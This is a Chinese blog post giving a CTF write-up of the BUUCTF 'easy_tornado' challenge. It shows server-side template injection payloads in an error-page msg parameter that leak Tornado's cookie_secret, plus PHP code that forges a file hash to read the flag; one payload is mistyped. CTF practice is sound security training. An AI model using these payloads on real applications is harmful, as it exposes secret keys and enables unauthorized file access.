有关于服务端模板注入(ssti攻击)——BUUCTF - easy_tornado
2024-09-04 11:12:08
打开题目出现3个链接
/flag.txt 中提示flag in /fllllllllllllag
/welcome.txt 中提示 render
/hints.txt 中提示 md5(cookie_secret+md5(filename))
直接访问/fllllllllllllag失败。
百度了render可知,render是python的一个模板,他们的url都是由filename和filehash组成,filehash即为他们filename的md5值。
当filename或filehash不匹配时,将会跳转到http://fe01b382-7935-4e50-8973-f09a31b53c8f.node1.buuoj.cn/error?msg=Error 页面.
所以想到需要获取cookie_secret来得到filehash
存在msg参数,百度之后发现师傅们可以进行模块注入。尝试了error?msg={{1}},发现的确存在模块注入。
尝试搜索tornado cookie_secret。发现cookie_secret存放在handler.settings中。
于是构建payload
http://fe01b382-7935-4e50-8973-f09a31b53c8f.node1.buuoj.cn/error?msg={{hendler_settings}}
得到'cookie_secret': '2cdad0e1-16ac-4881-861a-daecaa637c2c'
于是用php写代码获取filehash值
<?php
$cookie_secret='2cdad0e1-16ac-4881-861a-daecaa637c2c';
$filename = '/fllllllllllllag';
$go = md5($cookie_secret . md5($filename));
echo $go;
?>
再次构建payload
http://fe01b382-7935-4e50-8973-f09a31b53c8f.node1.buuoj.cn/file?filename=/fllllllllllllag&filehash=98b8d02691da0221fc3fc43498a181d4
得到flag
最新文章
- MySQL的基本命令
- 从源码角度深入理解Handler
- 【转】jquery两稳定版本比较~~
- oracle Can&#39;t connect to X11 window server using &#39;:0.0&#39; /Checking monitor: must be configured to display at least 256 colors解决方法
- 图解musk这个神人
- Gradient Boost 算法流程分析
- java 猜系统获取的随机数
- Openstack_O版(otaka)部署_网络服务Neutron部署
- Make things beautiful again !
- java 删除整数元素集合中的元素
- 自定义数据类型 typedef
- Jenkins-pipeline
- MySQL Innodb Engine --独立表空间参数(innodb_file_per_table)
- Java反射的好处
- LoadRunner 一参多用
- Quill + Framework 7 移动端无法获取焦点
- [AT2148] [arc063_c] Integers on a Tree
- python基础----数据类型二
- 转载 cglib代理和java代理
- Mac开发